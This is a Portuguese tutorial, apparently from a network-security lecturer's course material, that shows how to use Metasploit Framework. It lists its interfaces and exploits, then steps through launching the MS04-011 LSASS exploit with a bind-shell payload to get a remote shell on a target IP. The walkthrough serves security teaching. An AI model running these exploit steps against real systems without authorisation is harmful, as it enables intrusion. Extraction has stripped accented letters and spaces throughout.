Beruflich Dokumente
Kultur Dokumente
RicardoKlber
(ricardokleber@ricardokleber.com)
#msfupdateu
Quando executado, o msfupdate exibe informaes sobre as ltimas novidades e solicita a confirmao
para realizar o procedimento de atualizao (adio dos novos exploits disponveis publicamente ao
Metasploit Framework).
Apresenta
es
(Interfaces)
do
Metasploit
Framework
O Metasploit Framework disponibiliza 4 (quatro) interfaces distintas para interao com suas
ferramentas/funcionalidades disponveis:
Interface de Linha de Comando: Forma mais tradicional de interao com o framework, iniciada a partir do
comando msfcli.
Interface de Console: Disponibiliza um prompt do Metasploit, e iniciada a partir do comando msfconsole
Interface Web: Indicada para necessidades de interao com a ferramenta a partir de mquinas remotas (via
browser) e/ou por mais de um usurio, como em situaes em que as ferramentas necessitam ser executadas
por equipes. Para a disponibilizao dessa interface o Metasploit disponibiliza seu prprio servidor http
podendo ser configurado, se necessrio, para restringir o acesso a clientes (browsers) a partir da identificao
de IPs e/ou senhas de acesso interface.
Interface Web: Inicialmente acionada a partir do comando msfgui a interface grfica do Metasploit surgiu
em 2010, sendo substituda, posteriormente, pela interface Armitage, padro utilizado na verso atual do
Metasploit Framework.
LanandoumExploit
Utilizando a interface de console do Metasploit Framework apresentamos, a seguir, um exemplo prtico de
utilizao de um exploit especfico.
#msfconsole
O Metasploit Framework apresentar um banner da ferramenta (Figura 01) indicando a verso instalada da
ferramenta, quantidade de exploits e payloads disponveis e, em seguida, o console (msf >) de interao
aguardando a digitao do comando.
__
/\/\_____/_/__
||\/|_____\\________||/\_\\
||\/|||___\||/\/__\|__/|||||||||
|_||||_|__||_/\__\\||||_\__/||||_
|/|____/\___\//\\___/\/\__||_\\___\
=[metasploitv4.5.0dev[core:4.5api:1.0]
+=[927exploits499auxiliary151post
+=[251payloads28encoders8nops
=[svnr15728updated100daysago(2012.08.10)
Warning:ThiscopyoftheMetasploitFrameworkwaslastupdated100daysago.
Werecommendthatyouupdatetheframeworkatleasteveryotherday.
ForinformationonupdatingyourcopyofMetasploit,pleasesee:
https://community.rapid7.com/docs/DOC1306
msf>
msf>help
Conforme apresentado pelo comando help, para exibir, por exemplo, a lista de exploits disponveis, deve-
se digitar o comando show exploits:
msf>showexploits
O resultado desse comando uma lista dos exploits (Figura 02) instalados/disponveis na ferramenta.
windows/ftp/oracle9i_xdb_ftp_pass20030818greatOracle9iXDBFTPPASSOverflow(win32)
windows/ftp/proftp_banner20090825normalProFTP2.9BannerRemoteBufferOverflow
windows/ftp/sasser_ftpd_port20040510averageSasserWormavserveFTPPORTBufferOverflow
windows/http/apache_mod_rewrite_ldap20060728greatApachemodulemod_rewriteLDAPprotocolBufferOverflow
windows/http/php_apache_request_headers_bof20120508normalPHPapache_request_headersFunctionBufferOverflow
windows/iis/iis_webdav_upload_asp19940101excellentMicrosoftIISWebDAVWriteAccessCodeExecution
windows/iis/ms02_065_msadc20021120normalMicrosoftIISMDACmsadcs.dllRDSDataStubContentTypeOverflow
windows/iis/ms03_007_ntdll_webdav20030530greatMicrosoftIIS5.0WebDAVntdll.dllPathOverflow
windows/iis/msadc19980717excellentMicrosoftIISMDACmsadcs.dllRDSArbitraryRemoteCommandExecution
windows/mssql/ms02_039_slammer20020724goodMicrosoftSQLServerResolutionOverflow
windows/smb/ms04_011_lsass20040413goodMicrosoftLSASSServiceDsRolerUpgradeDownlevelServerOverflow
windows/smb/ms06_066_nwapi20061114goodMicrosoftServicesMS06066nwapi32.dllModuleExploit
windows/smb/ms08_067_netapi20081028greatMicrosoftServerServiceRelativePathStackCorruption
windows/wins/ms04_045_wins20041214greatMicrosoftWINSServiceMemoryOverwrite
(...)
msf>
O uso de um exploit especfico pode ser feito utilizando-se o comando use seguido do mdulo de
explorao (exploit) que se deseja utilizar:
msf>useexploit/windows/smb/ms04_011_lsass
Para mais informaes sobre o mdulo de exploit selecionado para utilizao, pode-se utilizar a instruo
info. Isso apresentar informaes adicionais sobre o mdulo.
msfexploit(ms04_011_lsass)>info
Como resultado (Figura 03) obteremos informaes detalhadas sobre o mdulo, como:
Nome detalhado do mdulo
Caminho absoluto para acesso ao mdulo
Verso
Plataforma-Alvo
Tipo de Licena
Endereo (e-mail) do desenvolvedor/mantenedor do mdulo
Verses afetadas pela vulnerabilidade (targets)
Outras opes disponveis para configurao (porta local / porta remota / IP local / IP remoto)
Descrio detalhada do mdulo
Referncias aos boletins de segurana publicados sobre a vulnerabilidade (CVE, Securityfocus,
OSVDB, Microsoft Technet, etc).
Name:MicrosoftLSASSServiceDsRolerUpgradeDownlevelServerOverflow
Module:exploit/windows/smb/ms04_011_lsass
Version:14976
Platform:Windows
Privileged:Yes
License:MetasploitFrameworkLicense(BSD)
Rank:Good
Providedby:
hdm<hdm@metasploit.com>
Availabletargets:
IdName
0AutomaticTargetting
1Windows2000English
2WindowsXPEnglish
Basicoptions:
NameCurrentSettingRequiredDescription
RHOSTyesThetargetaddress
RPORT445yesSettheSMBserviceport
Payloadinformation:
Space:1024
Avoid:7characters
Description:
ThismoduleexploitsastackbufferoverflowintheLSASSservice,
thisvulnerabilitywasoriginallyfoundbyeEye.Whenreexploiting
aWindowsXPsystem,youwillneedneedtorunthismoduletwice.
DCERPCrequestfragmentationcanbeperformedbysetting'FragSize'
parameter.
References:
http://cve.mitre.org/cgibin/cvename.cgi?name=20030533
http://www.osvdb.org/5248
http://www.securityfocus.com/bid/10108
http://www.microsoft.com/technet/security/bulletin/MS04011.mspx
msfexploit(ms04_011_lsass)>
Figura 03 Exemplo de sada da instruo info
Uma vez selecionado o exploit, deve-se indicar qual o Shellcode (Payload), ou seja, a carga que ser
executada pelo Metasploit Framework caso a explorao da vulnerabilidade seja bem sucedida. Para
informaes sobre os Payloads disponveis pode-se digitar show payloads (Figura 04):
msfexploit(ms04_011_lsass)>showpayloads
CompatiblePayloads
===================
NameRankDescription
generic/customnormalCustomPayload
generic/debug_trapnormalGenericx86DebugTrap
generic/shell_bind_tcpnormalGenericCommandShell,BindTCPInline
generic/shell_reverse_tcpnormalGenericCommandShell,ReverseTCPInline
generic/tight_loopnormalGenericx86TightLoop
windows/addusernormalWindowsExecutenetuser/ADD
windows/dllinject/bind_tcpnormalReflectiveDLLInjection,BindTCPStager
windows/dllinject/reverse_httpnormalReflectiveDLLInjection,ReverseHTTPStager
windows/dllinject/reverse_tcpnormalReflectiveDLLInjection,ReverseTCPStager
windows/execnormalWindowsExecuteCommand
windows/shell/bind_tcpnormalWindowsCommandShell,BindTCPStager
windows/shell/reverse_httpnormalWindowsCommandShell,ReverseHTTPStager
windows/shell/reverse_tcpnormalWindowsCommandShell,ReverseTCPStager
windows/shell_bind_tcpnormalWindowsCommandShell,BindTCPInline
windows/shell_reverse_tcpnormalWindowsCommandShell,ReverseTCPInline
(...)
msfexploit(ms04_011_lsass)>
Figura 04 Exemplos de Payloads disponveis
Pode-se utilizar, ainda o comando info para obter informaes adicionais de cada Payload, de modo a
selecionar o mais conveniente para cada caso.
Dando continuidade aos comandos selecionados como exemplo, selecionando, por exemplo, o payload
win32_bind, caso a vulnerabilidade seja explorada com sucesso, a execuo do exploit resultar na
disponibilizao de uma shell no sistema remoto. A seleo do payload especfico feita atravs do comando
set:
msfexploit(ms04_011_lsass)>setPAYLOADgeneric/shell_bind_tcp
Assim, uma vez listados os exploits e payloads disponveis, tendo-se obtido mais informaes sobre cada um
deles, e escolhidas as opes especficas (Exploit: ms04_011_lsass e Payload: shell_bind_tcp) pode-se/deve-
se solicitar ao Metasploit Framework as informaes complementares disponveis para finalizar o processo
de informao de dados para o uso do exploit, utilizando o comando show options.
msfexploit(ms04_011_lsass)>showoptions
Moduleoptions(exploit/windows/smb/ms04_011_lsass):
NameCurrentSettingRequiredDescription
RHOSTyesThetargetaddress
RPORT445yesSettheSMBserviceport
Payloadoptions(generic/shell_bind_tcp):
NameCurrentSettingRequiredDescription
LPORT4444yesThelistenport
RHOSTnoThetargetaddress
Exploittarget:
IdName
0AutomaticTargetting
msfexploit(ms04_011_lsass)>
Figura 05 Exemplos de opes complementares
Em alguns casos, parte dessas opes j disponibilizam automaticamente valores sugeridos (default), porm,
algumas opes necessitam ser preenchidas, como o IP da mquina alvo (RHOST = Remote Host) ou a porta
local que ser utilizada para interagir com o host remoto (LPORT = Local Port). Para informar os valores
dessas variveis deve-se utilizar o comando set para cada um deles, como no exemplo a seguir:
msfexploit(ms04_011_lsass)>setRHOST192.168.0.2
Aps a informao do valor da varivel, pode-se/deve-se utilizar novamente o comando show options para
verificar se o valor foi corretamente informado, bem como para verificar se existem outras variveis que
ainda necessitam que seus valores sejam informados:
msfexploit(ms04_011_lsass)>showoptions
Estando tudo configurado corretamente pode-se, finalmente, executar o exploit informando o comando
exploit e aguardando o seu resultado.
msfexploit(ms04_011_lsass)>exploit
Se a operao foi bem sucedida, o Metasploit Framework disponibilizar um interpretador de comandos
(shell) que, nesse caso, poder ser utilizado a partir da conexo na porta local (LPORT) 4444. Assim, a
vulnerabilidade foi explorada com sucesso e o usurio poder explorar o acesso remoto ao host selecionado
a partir de uma shell em sua estao local.
Finalizando...
O exemplo apresentado nesta lio ilustra apenas uma simulao de explorao de vulnerabilidade a partir
de uma das interfaces disponveis no Metasploit Framework. Todo o processo , de fato, como aqui
ilustrado, bastante simples:
Identificao da vulnerabilidade a explorar
Seleo da Interface do Metasploit
Seleo do Exploit a Utilizar
Seleo do Payload
Configurao de parmetros adicionais
Execuo do Exploit
Explorao da vulnerabilidade
Outros mdulos, no necessariamente de explorao de vulnerabilidades, como por exemplo os mdulos de
varreduras (scan) de portas e/ou de vulnerabilidades tambm esto disponveis na ferramenta e podem ser
utilizados a partir de passos semelhantes aos do exemplo aqui apresentado.
Cabe reforar a importncia do primeiro passo apresentado nesta lio: a atualizao dos mdulos do
Metasploit Framework. Isso permitir manter a ferramenta sempre preparada para a explorao das ltimas
vulnerabilidades encontradas a partir dos exploits especficos para cada uma delas.
Ricardo Klber Martins Galvo bacharel em Cincias da Computao e mestre em Engenharia Eltrica,
professor de disciplinas de segurana de redes e percia forense computacional no curso de Tecnologia em
Redes de Computadores do Instituto Federal de Educao, Cincia e Tecnologia do RN, atuando desde 1998
na rea de segurana de redes, ministrando palestras, treinamentos e consultorias na rea, tendo atuado como
Security Officer da Universidade Federal do Rio Grande do Norte, Diretor de Redes do Detran/PE e
professor em cursos de especializao em Segurana da Informao e Computao Forense em diversas
faculdades do pas. usurio do sistema operacional Linux desde 1996 e atualmente Diretor Acadmico de
Gesto e Tecnologia da Informao do IFRN / Cmpus Natal Central.